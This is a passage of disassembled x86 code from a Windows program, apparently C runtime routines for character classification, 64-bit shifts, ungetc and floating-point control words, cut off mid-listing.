--------------------------------------------------------------------------- loc_434490: ; CODE XREF: .XComp0:0043447Bj mov ecx, [ebp+8] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 2 mov [ebp-4], eax loc_4344A5: ; CODE XREF: .XComp0:0043448Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4524F0, 1 jle short loc_4344D0 push 4 mov eax, [ebp+8] push eax call sub_429750 add esp, 8 mov [ebp-4], eax jmp short loc_4344E5 ; --------------------------------------------------------------------------- loc_4344D0: ; CODE XREF: .XComp0:004344BBj mov ecx, [ebp+8] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp-4], eax loc_4344E5: ; CODE XREF: .XComp0:004344CEj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4524F0, 1 jle short loc_434513 push 80h mov eax, [ebp+8] push eax call sub_429750 add esp, 8 mov [ebp-4], eax jmp short loc_43452A ; --------------------------------------------------------------------------- loc_434513: ; CODE XREF: .XComp0:004344FBj mov ecx, [ebp+8] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 80h mov [ebp-4], eax loc_43452A: ; CODE XREF: .XComp0:00434511j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434540 proc near ; CODE XREF: sub_42C5E0+105p ; sub_42DAA0+24p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_434544: ; DATA XREF: .XComp0:00453214o cmp dword_4524F0, 1 jle short loc_434560 push 8 mov eax, [ebp+arg_0] push eax call sub_429750 add esp, 8 mov [ebp+var_4], eax jmp short loc_434575 ; --------------------------------------------------------------------------- loc_434560: ; CODE XREF: sub_434540+Bj mov ecx, [ebp+arg_0] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 8 mov [ebp+var_4], eax loc_434575: ; CODE XREF: sub_434540+1Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_434540 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4524F0, 1 jle short loc_4345A0 push 10h mov eax, [ebp+8] push eax call sub_429750 add esp, 8 mov [ebp-4], eax jmp short loc_4345B5 ; --------------------------------------------------------------------------- loc_4345A0: ; CODE XREF: .XComp0:0043458Bj mov ecx, [ebp+8] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 10h mov [ebp-4], eax loc_4345B5: ; CODE XREF: .XComp0:0043459Ej mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4524F0, 1 jle short loc_4345E3 push 107h mov eax, [ebp+8] push eax call sub_429750 add esp, 8 mov [ebp-4], eax jmp short loc_4345FA ; --------------------------------------------------------------------------- loc_4345E3: ; CODE XREF: .XComp0:004345CBj mov ecx, [ebp+8] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 107h mov [ebp-4], eax loc_4345FA: ; CODE XREF: .XComp0:004345E1j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4524F0, 1 jle short loc_434633 push 157h mov eax, [ebp+8] push eax call sub_429750 add esp, 8 mov [ebp-4], eax jmp short loc_43464A ; --------------------------------------------------------------------------- loc_434633: ; CODE XREF: .XComp0:0043461Bj mov ecx, [ebp+8] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 157h mov [ebp-4], eax loc_43464A: ; CODE XREF: .XComp0:00434631j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4524F0, 1 jle short loc_434683 push 117h mov eax, [ebp+8] push eax call sub_429750 add esp, 8 mov [ebp-4], eax jmp short loc_43469A ; --------------------------------------------------------------------------- loc_434683: ; CODE XREF: .XComp0:0043466Bj mov ecx, [ebp+8] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 117h mov [ebp-4], eax loc_43469A: ; CODE XREF: .XComp0:00434681j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword_4524F0, 1 jle short loc_4346D0 push 20h mov eax, [ebp+8] push eax call sub_429750 add esp, 8 mov [ebp-4], eax jmp short loc_4346E5 ; --------------------------------------------------------------------------- loc_4346D0: ; CODE XREF: .XComp0:004346BBj mov ecx, [ebp+8] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 20h mov [ebp-4], eax loc_4346E5: ; CODE XREF: .XComp0:004346CEj mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp dword ptr [ebp+8], 80h sbb eax, eax neg eax pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] and eax, 7Fh pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 cmp dword_4524F0, 1 jle short loc_434735 push 103h mov eax, [ebp+8] push eax call sub_429750 add esp, 8 mov [ebp-4], eax jmp short loc_43474C ; --------------------------------------------------------------------------- loc_434735: ; CODE XREF: .XComp0:0043471Dj mov ecx, [ebp+8] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 103h mov [ebp-4], eax loc_43474C: ; CODE XREF: .XComp0:00434733j cmp dword ptr [ebp-4], 0 jnz short loc_434761 cmp dword ptr [ebp+8], 5Fh jz short loc_434761 mov dword ptr [ebp-8], 0 jmp short loc_434768 ; --------------------------------------------------------------------------- loc_434761: ; CODE XREF: .XComp0:00434750j ; .XComp0:00434756j mov dword ptr [ebp-8], 1 loc_434768: ; CODE XREF: .XComp0:0043475Fj mov eax, [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 cmp dword_4524F0, 1 jle short loc_434795 push 107h mov eax, [ebp+8] push eax call sub_429750 add esp, 8 mov [ebp-4], eax jmp short loc_4347AC ; --------------------------------------------------------------------------- loc_434795: ; CODE XREF: .XComp0:0043477Dj mov ecx, [ebp+8] mov edx, off_4522E4 xor eax, eax mov ax, [edx+ecx*2] and eax, 107h mov [ebp-4], eax loc_4347AC: ; CODE XREF: .XComp0:00434793j cmp dword ptr [ebp-4], 0 jnz short loc_4347C1 cmp dword ptr [ebp+8], 5Fh jz short loc_4347C1 mov dword ptr [ebp-8], 0 jmp short loc_4347C8 ; --------------------------------------------------------------------------- loc_4347C1: ; CODE XREF: .XComp0:004347B0j ; .XComp0:004347B6j mov dword ptr [ebp-8], 1 loc_4347C8: ; CODE XREF: .XComp0:004347BFj mov eax, [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4347D0 proc near ; CODE XREF: sub_42C5E0+9D7p ; sub_42C5E0+A65p ... cmp cl, 40h jnb short loc_4347EA cmp cl, 20h jnb short loc_4347E0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_4347E0: ; CODE XREF: sub_4347D0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_4347EA: ; CODE XREF: sub_4347D0+3j xor eax, eax xor edx, edx retn sub_4347D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi loc_4347F7: ; CODE XREF: .XComp0:0043481Fj cmp dword ptr [ebp+0Ch], 0 jnz short loc_43481B push offset dword_43E494 push 0 push 31h push offset aUngetc_c ; "ungetc.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_43481B int 3 ; Trap to Debugger loc_43481B: ; CODE XREF: .XComp0:004347FBj ; .XComp0:00434818j xor eax, eax test eax, eax jnz short loc_4347F7 mov ecx, [ebp+0Ch] push ecx call sub_424B30 add esp, 4 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_434860 add esp, 8 mov [ebp-4], eax mov ecx, [ebp+0Ch] push ecx call sub_424BA0 add esp, 4 mov eax, [ebp-4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434860 proc near ; CODE XREF: sub_42DA80+11p ; .XComp0:00434835p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi loc_434867: ; CODE XREF: sub_434860+2Fj cmp [ebp+arg_4], 0 jnz short loc_43488B push offset dword_43E4A4 push 0 push 60h push offset aUngetc_c ; "ungetc.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_43488B int 3 ; Trap to Debugger loc_43488B: ; CODE XREF: sub_434860+Bj ; sub_434860+28j xor eax, eax test eax, eax jnz short loc_434867 mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_4348C7 mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 1 test eax, eax jnz short loc_4348CF mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_4348C7 mov eax, [ebp+var_4] mov ecx, [eax+0Ch] and ecx, 2 test ecx, ecx jz short loc_4348CF loc_4348C7: ; CODE XREF: sub_434860+3Bj ; sub_434860+58j or eax, 0FFFFFFFFh jmp loc_434997 ; --------------------------------------------------------------------------- loc_4348CF: ; CODE XREF: sub_434860+48j ; sub_434860+65j mov edx, [ebp+var_4] cmp dword ptr [edx+8], 0 jnz short loc_4348E4 mov eax, [ebp+var_4] push eax call sub_433A30 add esp, 4 loc_4348E4: ; CODE XREF: sub_434860+76j mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov eax, [ecx] cmp eax, [edx+8] jnz short loc_43490F mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jz short loc_434902 or eax, 0FFFFFFFFh jmp loc_434997 ; --------------------------------------------------------------------------- loc_434902: ; CODE XREF: sub_434860+98j mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax loc_43490F: ; CODE XREF: sub_434860+8Fj mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 40h test eax, eax jz short loc_43494D mov ecx, [ebp+var_4] mov edx, [ecx] sub edx, 1 mov eax, [ebp+var_4] mov [eax], edx mov ecx, [ebp+var_4] mov edx, [ecx] movsx eax, byte ptr [edx] movsx ecx, byte ptr [ebp+arg_0] cmp eax, ecx jz short loc_43494B mov edx, [ebp+var_4] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax or eax, 0FFFFFFFFh jmp short loc_434997 ; --------------------------------------------------------------------------- loc_43494B: ; CODE XREF: sub_434860+D7j jmp short loc_434964 ; --------------------------------------------------------------------------- loc_43494D: ; CODE XREF: sub_434860+BAj mov edx, [ebp+var_4] mov eax, [edx] sub eax, 1 mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov eax, [edx] mov cl, byte ptr [ebp+arg_0] mov [eax], cl loc_434964: ; CODE XREF: sub_434860:loc_43494Bj mov edx, [ebp+var_4] mov eax, [edx+4] add eax, 1 mov ecx, [ebp+var_4] mov [ecx+4], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] and al, 0EFh mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov eax, [ebp+arg_0] and eax, 0FFh loc_434997: ; CODE XREF: sub_434860+6Aj ; sub_434860+9Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_434860 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4349A0 proc near ; CODE XREF: sub_42E5B0+5Ap push ebp mov ebp, esp xor eax, eax pop ebp retn sub_4349A0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi fstsw word ptr [ebp-4] mov ax, [ebp-4] push eax call sub_434DA0 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi fnstsw word ptr [ebp-4] fnclex mov ax, [ebp-4] push eax call sub_434DA0 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4349F0 proc near ; CODE XREF: sub_434A40+10p var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi fstcw [ebp+var_10] mov ax, [ebp+var_10] push eax call sub_434AC0 add esp, 4 mov [ebp+var_8], eax mov ecx, [ebp+arg_0] and ecx, [ebp+arg_4] mov edx, [ebp+arg_4] not edx mov eax, [ebp+var_8] and eax, edx or ecx, eax mov [ebp+var_C], ecx mov ecx, [ebp+var_C] push ecx call sub_434C40 add esp, 4 mov [ebp+var_4], ax fldcw [ebp+var_4] mov eax, [ebp+var_C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4349F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434A40 proc near ; CODE XREF: sub_42EB00+Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] and eax, 0FFF7FFFFh push eax mov ecx, [ebp+arg_0] push ecx call sub_4349F0 add esp, 8 pop ebp retn sub_434A40 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi call sub_4330F0 mov eax, [eax] mov [ebp-4], eax fninit call sub_42EB00 cmp dword ptr [ebp-4], 0 jz short loc_434AB1 mov ecx, [ebp-4] mov edx, [ecx+4] mov eax, [edx] and eax, 10008h test eax, eax jz short loc_434AB1 mov ecx, [ebp-4] mov edx, [ecx+4] add edx, 1Ch mov [ebp-8], edx mov eax, [ebp-8] mov dword ptr [eax+4], 0 mov ecx, [ebp-8] mov dword ptr [ecx+8], 0FFFFh loc_434AB1: ; CODE XREF: .XComp0:00434A7Ej ; .XComp0:00434A8Fj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434AC0 proc near ; CODE XREF: sub_4349F0+12p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1 test eax, eax jz short loc_434AE5 mov ecx, [ebp+var_4] or ecx, 10h mov [ebp+var_4], ecx loc_434AE5: ; CODE XREF: sub_434AC0+1Aj mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 4 test edx, edx jz short loc_434AFD mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_434AFD: ; CODE XREF: sub_434AC0+33j mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 8 test ecx, ecx jz short loc_434B16 mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx loc_434B16: ; CODE XREF: sub_434AC0+4Bj mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 10h test eax, eax jz short loc_434B2E mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx loc_434B2E: ; CODE XREF: sub_434AC0+63j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 20h test edx, edx jz short loc_434B46 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax loc_434B46: ; CODE XREF: sub_434AC0+7Cj mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 2 test ecx, ecx jz short loc_434B62 mov edx, [ebp+var_4] or edx, 80000h mov [ebp+var_4], edx loc_434B62: ; CODE XREF: sub_434AC0+94j mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 0C00h mov [ebp+var_8], eax cmp [ebp+var_8], 800h jg short loc_434B95 cmp [ebp+var_8], 800h jz short loc_434BA8 cmp [ebp+var_8], 0 jz short loc_434BA0 cmp [ebp+var_8], 400h jz short loc_434BB3 jmp short loc_434BC7 ; --------------------------------------------------------------------------- loc_434B95: ; CODE XREF: sub_434AC0+B9j cmp [ebp+var_8], 0C00h jz short loc_434BBE jmp short loc_434BC7 ; --------------------------------------------------------------------------- loc_434BA0: ; CODE XREF: sub_434AC0+C8j mov ecx, [ebp+var_4] mov [ebp+var_4], ecx jmp short loc_434BC7 ; --------------------------------------------------------------------------- loc_434BA8: ; CODE XREF: sub_434AC0+C2j mov edx, [ebp+var_4] or dh, 2 mov [ebp+var_4], edx jmp short loc_434BC7 ; --------------------------------------------------------------------------- loc_434BB3: ; CODE XREF: sub_434AC0+D1j mov eax, [ebp+var_4] or ah, 1 mov [ebp+var_4], eax jmp short loc_434BC7 ; --------------------------------------------------------------------------- loc_434BBE: ; CODE XREF: sub_434AC0+DCj mov ecx, [ebp+var_4] or ch, 3 mov [ebp+var_4], ecx loc_434BC7: ; CODE XREF: sub_434AC0+D3j ; sub_434AC0+DEj ... mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 300h mov [ebp+var_C], edx cmp [ebp+var_C], 0 jz short loc_434C09 cmp [ebp+var_C], 200h jz short loc_434BFB cmp [ebp+var_C], 300h jz short loc_434BF3 jmp short loc_434C15 ; --------------------------------------------------------------------------- loc_434BF3: ; CODE XREF: sub_434AC0+12Fj mov eax, [ebp+var_4] mov [ebp+var_4], eax jmp short loc_434C15 ; --------------------------------------------------------------------------- loc_434BFB: ; CODE XREF: sub_434AC0+126j mov ecx, [ebp+var_4] or ecx, 10000h mov [ebp+var_4], ecx jmp short loc_434C15 ; --------------------------------------------------------------------------- loc_434C09: ; CODE XREF: sub_434AC0+11Dj mov edx, [ebp+var_4] or edx, 20000h mov [ebp+var_4], edx loc_434C15: ; CODE XREF: sub_434AC0+131j ; sub_434AC0+139j ... mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1000h test eax, eax jz short loc_434C32 mov ecx, [ebp+var_4] or ecx, 40000h mov [ebp+var_4], ecx loc_434C32: ; CODE XREF: sub_434AC0+164j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_434AC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434C40 proc near ; CODE XREF: sub_4349F0+36p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 10h test eax, eax jz short loc_434C61 mov cx, [ebp+var_4] or cl, 1 mov [ebp+var_4], cx loc_434C61: ; CODE XREF: sub_434C40+14j mov edx, [ebp+arg_0] and edx, 8 test edx, edx jz short loc_434C75 mov ax, [ebp+var_4] or al, 4 mov [ebp+var_4], ax loc_434C75: ; CODE XREF: sub_434C40+29j mov ecx, [ebp+arg_0] and ecx, 4 test ecx, ecx jz short loc_434C8A mov dx, [ebp+var_4] or dl, 8 mov [ebp+var_4], dx loc_434C8A: ; CODE XREF: sub_434C40+3Dj mov eax, [ebp+arg_0] and eax, 2 test eax, eax jz short loc_434C9F mov cx, [ebp+var_4] or cl, 10h mov [ebp+var_4], cx loc_434C9F: ; CODE XREF: sub_434C40+52j mov edx, [ebp+arg_0] and edx, 1 test edx, edx jz short loc_434CB3 mov ax, [ebp+var_4] or al, 20h mov [ebp+var_4], ax loc_434CB3: ; CODE XREF: sub_434C40+67j mov ecx, [ebp+arg_0] and ecx, 80000h test ecx, ecx jz short loc_434CCB mov dx, [ebp+var_4] or dl, 2 mov [ebp+var_4], dx loc_434CCB: ; CODE XREF: sub_434C40+7Ej mov eax, [ebp+arg_0] and eax, 300h mov [ebp+var_8], eax cmp [ebp+var_8], 200h ja short loc_434CF9 cmp [ebp+var_8], 200h jz short loc_434D0E cmp [ebp+var_8], 0 jz short loc_434D04 cmp [ebp+var_8], 100h jz short loc_434D1B jmp short loc_434D33 ; --------------------------------------------------------------------------- loc_434CF9: ; CODE XREF: sub_434C40+9Dj cmp [ebp+var_8], 300h jz short loc_434D28 jmp short loc_434D33 ; --------------------------------------------------------------------------- loc_434D04: ; CODE XREF: sub_434C40+ACj mov cx, [ebp+var_4] mov [ebp+var_4], cx jmp short loc_434D33 ; --------------------------------------------------------------------------- loc_434D0E: ; CODE XREF: sub_434C40+A6j mov dx, [ebp+var_4] or dh, 8 mov [ebp+var_4], dx jmp short loc_434D33 ; --------------------------------------------------------------------------- loc_434D1B: ; CODE XREF: sub_434C40+B5j mov ax, [ebp+var_4] or ah, 4 mov [ebp+var_4], ax jmp short loc_434D33 ; --------------------------------------------------------------------------- loc_434D28: ; CODE XREF: sub_434C40+C0j mov cx, [ebp+var_4] or ch, 0Ch mov [ebp+var_4], cx loc_434D33: ; CODE XREF: sub_434C40+B7j ; sub_434C40+C2j ... mov edx, [ebp+arg_0] and edx, 30000h mov [ebp+var_C], edx cmp [ebp+var_C], 0 jz short loc_434D59 cmp [ebp+var_C], 10000h jz short loc_434D66 cmp [ebp+var_C], 20000h jz short loc_434D73 jmp short loc_434D7B ; --------------------------------------------------------------------------- loc_434D59: ; CODE XREF: sub_434C40+103j mov ax, [ebp+var_4] or ah, 3 mov [ebp+var_4], ax jmp short loc_434D7B ; --------------------------------------------------------------------------- loc_434D66: ; CODE XREF: sub_434C40+10Cj mov cx, [ebp+var_4] or ch, 2 mov [ebp+var_4], cx jmp short loc_434D7B ; --------------------------------------------------------------------------- loc_434D73: ; CODE XREF: sub_434C40+115j mov dx, [ebp+var_4] mov [ebp+var_4], dx loc_434D7B: ; CODE XREF: sub_434C40+117j ; sub_434C40+124j ... mov eax, [ebp+arg_0] and eax, 40000h test eax, eax jz short loc_434D92 mov cx, [ebp+var_4] or ch, 10h mov [ebp+var_4], cx loc_434D92: ; CODE XREF: sub_434C40+145j mov ax, [ebp+var_4] mov esp, ebp pop ebp retn sub_434C40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434DA0 proc near ; CODE XREF: .XComp0:004349C0p ; .XComp0:004349E1p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 1 test eax, eax jz short loc_434DC3 mov ecx, [ebp+var_4] or ecx, 10h mov [ebp+var_4], ecx loc_434DC3: ; CODE XREF: sub_434DA0+18j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 4 test edx, edx jz short loc_434DDB mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_434DDB: ; CODE XREF: sub_434DA0+31j mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 8 test ecx, ecx jz short loc_434DF4 mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx loc_434DF4: ; CODE XREF: sub_434DA0+49j mov eax, [ebp+arg_0] and eax, 0FFFFh and eax, 10h test eax, eax jz short loc_434E0C mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx loc_434E0C: ; CODE XREF: sub_434DA0+61j mov edx, [ebp+arg_0] and edx, 0FFFFh and edx, 20h test edx, edx jz short loc_434E24 mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax loc_434E24: ; CODE XREF: sub_434DA0+7Aj mov ecx, [ebp+arg_0] and ecx, 0FFFFh and ecx, 2 test ecx, ecx jz short loc_434E40 mov edx, [ebp+var_4] or edx, 80000h mov [ebp+var_4], edx loc_434E40: ; CODE XREF: sub_434DA0+92j mov eax, [ebp+var_4] mov esp, ebp loc_434E45: ; DATA XREF: .XComp0:0045313Co ; .XComp0:0045319Co pop ebp retn sub_434DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434E50 proc near ; CODE XREF: sub_434F90+70p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_C], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_434E74 dec eax or eax, 0FFFFFFE0h inc eax loc_434E74: ; CODE XREF: sub_434E50+1Dj mov ecx, 1Fh sub ecx, eax mov [ebp+var_4], ecx or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] shl edx, cl not edx mov [ebp+var_8], edx mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] and edx, [ebp+var_8] test edx, edx jz short loc_434E9F xor eax, eax jmp short loc_434ED0 ; --------------------------------------------------------------------------- loc_434E9F: ; CODE XREF: sub_434E50+49j mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_434EB3 ; --------------------------------------------------------------------------- loc_434EAA: ; CODE XREF: sub_434E50:loc_434EC9j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_434EB3: ; CODE XREF: sub_434E50+58j cmp [ebp+var_C], 3 jge short loc_434ECB mov edx, [ebp+var_C] mov eax, [ebp+arg_0] cmp dword ptr [eax+edx*4], 0 jz short loc_434EC9 xor eax, eax jmp short loc_434ED0 ; --------------------------------------------------------------------------- loc_434EC9: ; CODE XREF: sub_434E50+73j jmp short loc_434EAA ; --------------------------------------------------------------------------- loc_434ECB: ; CODE XREF: sub_434E50+67j mov eax, 1 loc_434ED0: ; CODE XREF: sub_434E50+4Dj ; sub_434E50+77j mov esp, ebp pop ebp retn sub_434E50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434EE0 proc near ; CODE XREF: sub_434F90+84p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_C], eax mov eax, [ebp+arg_4] and eax, 8000001Fh jns short loc_434F04 dec eax or eax, 0FFFFFFE0h inc eax loc_434F04: ; CODE XREF: sub_434EE0+1Dj mov ecx, 1Fh sub ecx, eax mov [ebp+var_4], ecx mov edx, 1 mov ecx, [ebp+var_4] shl edx, cl mov [ebp+var_8], edx mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*4] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov eax, [edx+ecx*4] push eax call sub_438200 add esp, 0Ch mov [ebp+var_10], eax mov ecx, [ebp+var_C] sub ecx, 1 mov [ebp+var_C], ecx jmp short loc_434F52 ; --------------------------------------------------------------------------- loc_434F49: ; CODE XREF: sub_434EE0+9Fj mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_434F52: ; CODE XREF: sub_434EE0+67j cmp [ebp+var_C], 0 jl short loc_434F81 cmp [ebp+var_10], 0 jz short loc_434F81 mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*4] push edx push 1 mov eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] push edx call sub_438200 add esp, 0Ch mov [ebp+var_10], eax jmp short loc_434F49 ; --------------------------------------------------------------------------- loc_434F81: ; CODE XREF: sub_434EE0+76j ; sub_434EE0+7Cj mov eax, [ebp+var_10] mov esp, ebp pop ebp retn sub_434EE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_434F90 proc near ; CODE XREF: sub_435220+ABp ; sub_435220+132p ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_18], 0 mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_C], ecx mov eax, [ebp+var_C] cdq and edx, 1Fh add eax, edx sar eax, 5 mov [ebp+var_14], eax mov edx, [ebp+var_C] and edx, 8000001Fh jns short loc_434FCE dec edx or edx, 0FFFFFFE0h inc edx loc_434FCE: ; CODE XREF: sub_434F90+37j mov eax, 1Fh sub eax, edx mov [ebp+var_8], eax mov edx, 1 mov ecx, [ebp+var_8] shl edx, cl mov [ebp+var_1C], edx mov eax, [ebp+var_14] mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4] and edx, [ebp+var_1C] test edx, edx jz short loc_43501F mov eax, [ebp+var_C] add eax, 1 push eax mov ecx, [ebp+arg_0] push ecx call sub_434E50 add esp, 8 test 